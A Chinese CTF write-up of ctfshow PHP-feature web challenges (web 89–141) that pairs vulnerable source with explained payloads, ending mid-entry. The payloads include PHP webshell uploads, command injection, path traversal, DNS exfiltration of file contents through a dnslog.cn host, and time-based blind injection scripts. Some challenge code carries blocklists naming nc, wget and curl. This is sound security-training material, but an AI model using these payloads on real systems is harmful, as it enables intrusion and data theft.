CTFSHOW PHP特性
#web 89:数组绕过正则
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
正则表达式不会匹配数组
intval处理数组时,会返回1.
payload: ?num[]=a
web 90:弱比较,intval特性
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
intval默认转换为10进制。此时采用8进制绕过,16进制也行
payload:?num=010574
web 91:正则匹配模式
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
ctfshow{e10e724b-0d62-4a49-b648-613c2267e369}
在正则表达式中,存在三个匹配模式修饰符 'i'不区分大小写,'m'采用多行匹配,'e'启用修正模式
默认情况下,正则表达式只会尽力去匹配第一行。
因此采用一个%0a换行符绕过
payload:?cmd=%0aphp
web 92:弱比较
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
同上,利用八进制绕过。
payload:?num=010574
web 93:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
ctfshow{3410df03-40b0-4d2c-be98-14cf0bd34744}
同上,利用八进制绕过。
本题不能采用16进制绕过,因为做了字母过滤。
payload:?num=010574
web 94:strpos绕过
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
strpos会返回第一次出现目标字符串的位置。
如果我们按上面的以0开头,那么这个if绕不过。
因此采用一个空格或者+号绕过
payload:+010574
web 95:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
strpos会返回第一次出现目标字符串的位置。
我开错题了?
为什么不能使用%0a。
因为%0a是匹配首尾,本题未采用首尾模式。
payload:+010574
web 96:路径相关
<?phphighlight_file(__FILE__); if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); }} 相对路径:./表示本目录下绝对路径:/var/www/html/flag.phppayload:u=./flag.php
web 97:MD5无法处理数组
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
弱比较+MD5
MD5无法处理数组,再对数组处理时会返回NULL。
payload:a[]=1&b[]=2
web 98:三目运算符+变量覆盖
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
三目运算符: 判断句?条件真时:条件假时
变量覆盖:&动态跟踪变量,会根据变量的变化而变化。
根据题目当以GET传入参数时,那么GET的参数就会恒等于POST里传的参数
再根据最后一个语句,要GET传入的HTTP_FLAG。
根据变量覆盖,我们采用POST传参才能传到GET中去。
但前提是要有GET传一次参,那么随便传一个数进去。
payload:
GET:?a=b
POST:HTTP_FLAG=flag
web 99:in_array函数漏洞
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i)); //添加元素
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']); //写马
}
?>
in_array:有三个参数,当第三个参数为空时。则存在类似弱比较的转换如123abc转换为123
本题因为确实是随机写入的。因此多试几次可能就1.php写马。
payload:
GET:?n=1.php
POST:content=<?php eval($_POST[1]);?>
web 100:and特性,shell拼接
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
and 与 &&的差别:and 因为优先级的原因,会出现一些差错。
如 true and false 会返回 true。
但是 false and true 会返回 false
但是仅在运算时成立,在if中与&&效果相同。
根据题意:可以通过v2和v3拼接达到命令执行。
这里需要注意的是eval括号里面的代码必须是正确能够执行的。
因此我们将'(ctfshow)'注释掉
有个细节v2中不能出现";"。我们利用多行注释在v3中注释后添加;
payload:?v1=1&v2=system("cat ctfshow.php")/*&v3=*/;
web 101:反射类
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
这里在上题的基础上将我们的RCE过滤掉了。因此只能用官方给的反射类了。
在此给出什么是PHP的反射类:反射类是php中的一个原生类,其可以接受一个实例化对象作为参数。
并且在此基础上,我们可以调用反射类中的自带方法从而达到对实例化对象的信息读取。
这个题群主有毒。拿到flag之后需要将0x2d替换成-号就算了
flag的最后少一位,需要我们自己拿着从0开始实验。我运气比较好。最后一位是2
试了三次就成功了
payload:?v1=1&v2=echo new ReflectionMethod&v3=;
此处贴出羽师傅一个反射类运用加深理解:
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');
var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}
var_dump($a->getName()); 获取类名
输出
string(1) "A"
var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}
var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}
?>
web 102:php5下and和php伪协议与call_user_func使用
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
我开始没有想到两个地方结合起来使用,以为是用call_user_func就能达到命令执行。
根据提示换个姿势,也就是也是利用写马的计划。
在PHP5下,0x117c会被is_numeric认为成true。
也就是16进制是可以被利用的。
#<?php eval($_POST[1]);?> == 3C3F706870206576616C28245F504F53545B315D293B3F3E
然后通过回调函数使用hex2bin对它进行解码。并且写入到1.php中
fake_payload:
GET:?v2=113C3F706870206576616C28245F504F53545B315D293B3F3E&v3=1.php
POST:v1=hex2bin
发现不成功。本题可能使用的是PHP7环境。那么再换个姿势,还是使用这种形式去寻找替代。
目的是:某PHP语句再经过16进制编码后仍全为数字。或者科学计数法形式。
看了师傅们的WP:
'<?=`cat *`;' --->base64-encode--->bin2hex---->5044383959474e6864434171594473
那么我们可以利用call_user_func先进行hex2bin
再利用file_put_contents进行filter伪协议base64的解码。从而达到写马目的
payload:
GET:?v2=215044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:v1=hex2bin
web 103:
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
这题在上题基础上加了正则过滤,但是过滤的是v2。我们伪协议使用的是v3。所以不影响。
payload:
GET:?v2=215044383959474e6864434171594473&v3=php://filter/read=convert.base64-decode/resource=1.php
POST:v1=hex2bin
web 104:sha1无法处理数组
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
因为sha1无法处理数组,sha1在对数组进行处理时会返回NULL;
web 105:变量覆盖
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
这个题我比较菜,对php数组遍历的手法不熟悉.
我只知道考了变量覆盖.但是进入数组遍历我就不行了.
看了wp大概明白是个什么意思了.
先说数组遍历:
foreach($_GET as $key => $value) 这里的意思是我们传入一个参数
参数名为键名Key 参数值为键值
如传入 a=123 那么$key=a&$value=123
那么现在就比较好理解了.
这个echo 语句我们是到达不了的.
但是 die也会输出内容.那么我们令die的变量为flag即可.
payload:
GET:suces=flag
POST:error=suces
web 106:
<?php highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } } ?> 数组绕过.没什么好说的
web 107:parse_str特性。
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } } ?> 讲解一下parse_str($string,$array):将string添加到array中. 若第一个参数为 hack=k1he,第二个参数为hacker.那么就会存在hacker[hack]=k1he 本题方法挺多的.md5就一个无法处理数组 v2无flag参数即可.
web 108:ereg正则截断,strrev反转字符串
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
strrev:反转字符串
%00:正则截断
根据题目必须是传入的参数必须是字母.
那么我们采用正则截断:仅ereg存在
并且是弱比较
payload:a%00778 反转之后:877%00a
web 109:反射类RCE
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
这个一看好像是反射类,原生类的考察.因为$v1&v2可控.我们可以任意构造类;
再看这个正则表达式:匹配有1个字母以上的字符串
那么构造一个反射类,然后执行命令即可.
//payload:?v1=ReflectionClass&v2=system("ls")
//payload:?v1=ReflectionClass&v2=system("cat f*")
这里不加";" 因为题目上存在分号闭合了.
web 110:原生类:FilesystemIterator
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
本题考察原生类:FilesystemIterator
该类用于查看目录下的文件名
参数只要有一个“.”就可以查看当前目录
这里我们使用getcwd来获取当前目录。
//payload:?v1=FilesystemIterator&v2=getcwd
获得一个文件flag36dga.txt
访问该文件即可拿到flag。
顺便贴出这个类的进一步用法
web 111:全局变量,var_dump
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); } if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); } } ?> 很明显include("flag.php")了 那么一定存在$flag了。 因为&的存在动态跟踪。 因为var_dump的存在。 而var_dump($GLOBALS)会列出所有全局变量。 那么我们直接打印所有全局变量 //payload:?v1=ctfshow&v2=GLOBALS 进入函数后: $ctfshow = &$GLOBALS var_dump($ctfshow) === var_dump($GLOBALS)
web 112:is_file绕过
<?php highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; } ?> is_file:检测文件名是否为正常文件名。是则返回true 如果我们输入flag.php会被识别为正常文件名。则绕不过。 再根据题目黑名单,考虑到使用伪协议,而php://filter未过滤。 payload:?file=php://filter/resource=flag.php 事后才知道php伪协议可以绕过is_file检测
web 113:is_file判断溢出
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file:检测文件名是否为正常文件名。是则返回true
如果我们输入flag.php会被识别为正常文件名。则绕不过。
这题看了WP才会。
利用is_file的判断溢出。输入足够长的重复使is_file失效
/proc/self/root 代表根目录。
师傅的wp上说至少需要21个/proc/self/root才能溢出
//payload:/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
web 114:
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file:检测文件名是否为正常文件名。是则返回true
如果我们输入flag.php会被识别为正常文件名。则绕不过。
这题发现filter没被过滤。乱杀
//payload:?file= php://filter/resource=flag.php
web 115:is_numeric,trim绕过
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
trim($string,$charlist):检查字符串,并且删除对应charlist里的内容。
如果第二个参数为空,那么默认删除以下字符
"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格
这题强推跟着羽师傅做。
首先是is_numeric的绕过。
其次使trim的绕过。
绕过is_numeric
<?php
for($i=0;$i<128;$i++){
$x = chr($i).'1';
if(is_numeric($x)){
echo urlencode(chr($i))."<br>";
}
}
绕过trim:
for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'1';
if(trim($x)!=='1' && is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}
那么两次结果取交集,得到%0c
payload:?num=%0c36
web 123:php变量定义.绕过
<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?> 这一题一样的不会。我只想到了肯定走不到f10g==flag_give_me这一步。 主要不知道考点在哪里。 看了WP才知道这里的考点在变量定义里面 首先我们知道很多编程语言都不允许变量名有"."。 因此这里CTF_SHOW.CON是个难题。 师傅们的解答是:CTF[SHOW.COM处理后就等于CTF_SHOW.COM 知道了问题所在就ez了。 payload:POST:CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag
web 125,126:$_SERVER['argv']赋值详解
<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?> 跟上一题一样.现在重新认真理一下知识点.
1.CLI(命令行) 模式下 $_SERVER['argv'][0]是脚本名,其余的是传递脚本的参数 2.web网页模式下 php.ini中开启register_argc_agrv选项 设置register_argc_agrv = On,重启服务,$_SERVER['argv']才会有效果 这时的$_SERVER['argv'][0] = $_SERVER['QUERY_STRING'] $argv,$argc在web模式下不适用
因为我们在网页模式下,所以$_SERVER['argv'][0] = $_SERVER['QUERT_STRING'] 也就是说$a[0] = $_SERVER['QUERY_STRING'] 这时候我们只要通过eavl("$c".";")给它赋值即可 $_SERVER['QUERY_STRING'] 就是我们?后面的所有内容 根据羽师傅讲的: 本题的预期解是: get: a=1+fl0g=flag_give_me post:CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=parse_str[$a[1]]
本地测试: <?php $a=$_SERVER['argv']; var_dump($a); 传入 a=1+fl0g=flag_give_me 结果如下 array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" } +分割原理: CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去 继续判断query string是否为空, 如果不为空把通过+符号分割的字符串转换成php内部的zend_string, 然后再把这个zend_string复制到 arr 数组中去。
web 127:强比较变量名替代
<?php error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING']; //特殊字符检测 function waf($url){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ return true; }else{ return false; } } if(waf($url)){ die("嗯哼?"); }else{ extract($_GET); } if($ctf_show==='ilove36d'){ echo $flag; ?> 说实话,我连这题考啥都不知道..我以为考extract函数. 上网搜了发现用不了.. 看了WP原来考点不在这里 经过php后端解析后: ctf_show = ctf show = ctf+show = ctf[show = ctf.show + _ [ . //payload:?ctf show=ilove36d
web 128:_()与get_defined_vars().嵌套call_user_func
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
国际惯例,不知道考点.以为是无字母数字webshell
看WP
考察两个函数_()和get_defined_vars()
_($p):返回参数p,如_('abc')那么会返回abc
get_defined_vars():返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
因为存在两层call_user_func
因此我们需要调用一次函数后,继续调用并且打印变量
//payload:?f1=_&f2=get_defined_vars
call_user_func(call_user_fun(_(),get_defined_vars))-->call_user_func(get_defined_vars)
web 129:目录穿越
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
readfile能够读任意文件.猜测存在flag.php在根目录.
先确定是否有目录穿越
//payload1:/ctfshow/../../etc/passwd.\
//payload2:/ctfshow/../../../../var/www/html/flag.php
也可以使用php伪协议
//payload3: php://filter/read=convert.base64-encode/ctfshow/resource=flag.php
web 130,131:正则溢出绕过
<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); } echo $flag; } 绕过正则即可. 正则的有效匹配是100W个字符串. 我们只要我们输入的字符串大于100W就会返回false. //pyload:very*250000ctfshow payload很大,各位忍一下. 自己构造
web 132:逻辑优先级比较
<?php
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
先访问robots.txt在访问admin拿到源码
考点:逻辑优先级比较
因为&&的优先级比||高.
因此先计算&&再计算||.
只要||成立即可
//payload:?username=admin&password=1&code=admin
web 133:无回显的RCE,命令重构造
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
又是知识点多的一道题.
1.
先看这个substr它是对我们的输入参数进行了截断.但没有重新赋值.
那么如果我们传入 F=`$F`; system("ls");
进入截断会变成 `$F`;
但是$F又等于 `$F`; system("ls");
那么也就是会变成``$F`; system("ls");`
这样子就绕过了我们的截断
2.带出flag.
这里模式比较固定了.就是利用dnslog.cn带出我们的回显内容
因为我们``是没有回显的.因此需要利用其他方式带出flag
下面是群主给的Payload
先尝试 ping `cat flag.php`.686uw4.dnslog.cn -c
没有回显,因为这个头部有字符数限制.因此采用一个过滤
我们知道flag是ctfshow形式
那么利用命令 ping `cat flag.php | grep ctfshow`.686uw4.dnslog.cn -c 1 即可
?F=`$F`; ping `cat flag.php | grep ctfshow | tr -dc "[a-z]"/"[0-9]"`.686uw4.dnslog.cn -c 1
web 134:parse_str与extract配合使用
<?php highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); } parse_str:将查询的字符串以加入变量中. parse_str("a=k1he")--->结果是:$a=k1he extract:将数组中的键值对以变量形式返回. extract(a[hacker]=k1he)--->结果是$hacker=k1he 那么构造payload: //payload:?_POST[key1]=36d&_POST[key2]=36d 经过Parse_str会变成$_POST[key1]=36d&$_POST[key2]=36d 经过extract会变成:$key1=36d&$key2=36d
web 135:web133加强
<?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } } 看过群主的#web 133的视频. 先用touch 1测试一下是否有写文件的权限. 发现有.那么简单了 //payload:?`$F`; nl f*>a.txt 访问 a.txt即可
web 136:tee命令的使用
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?> 看过群主的#web 133的视频. 先用touch 1测试一下是否有写文件的权限. 这题考察的是tee命令的用法 tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。 //payload :ls|tee a #只有index.php //payload:ls /|tee b #拿到flag文件名f149_15_h3r3 //payload:nl /f149_15_h3r3|tee c #ctfshow{6211d0f3-9b65-4c11-ba8f-e736401e9e19}
web 137:外部静态方法引用
<?php error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } call_user_func($_POST['ctfshow']); 本题主要考察静态方法的调用. //payload:POST:ctfshow=ctfshow::getFlag 在类中:->与::没有区别 但是在外部条件下,->只能引用一个实例化对象里的方法 ::却可以引用一个静态方法
web 138:call_user_func传递数组
<?php error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); } call_user_func($_POST['ctfshow']); 在上一题的基础上,过滤了: 这时候就考的是call_user_func的使用了。 call_user_func(array($classname,'good_boy')) 那么会调用classname里面的good_boy方法 //payload:ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web 139:命令盲打
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
知识点如图所示了。主要就是LINUX下if语句的用法。
并且采用时间盲注的思想。
if语句:if[条件];为真时语句;为假时语句。
爆破文件名:
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-08-21 14:07:49
# @Last Modified by: k1he
# @Last Modified time: 2021-08-21 22:43:11
import requests
import time
import string
str=string.ascii_letters+string.digits #生成所有字母与数字[a-zA-Z0-9]
result=""
for i in range(4,7):
key=0
for j in range(1,15):
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
#print(payload)
url=" http://d9ec8a51-8464-41de-aeb4-a3379e5177a4.challenge.ctf.show:8080/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result+=" "
爆破flag:# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-08-21 22:44:53
# @Last Modified by: k1he
# @Last Modified time: 2021-08-21 22:45:05
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"#获取小写字母与数字
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://d9ec8a51-8464-41de-aeb4-a3379e5177a4.challenge.ctf.show:8080?c="+payload
try:
requests.get(url,timeout=(2.5,2.5)) #time()第一个参数是响应时间,第二个是读取时间
except:
result=result+n
print(result)
break
web 140:intval,弱比较
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
弱比较。
首先是 0=='字符串' 会返回true
其次是 intval会将字符串转化为0
即intval('a') = 0
那么我们就方便了。
md5(phpinfo()) = c..xxxx
md5(md5())
甚至利用无参rce中的.
current(localeconv)
web 141:php命令执行特性,无字母数字webshell
<?php
#error_reporting(0);
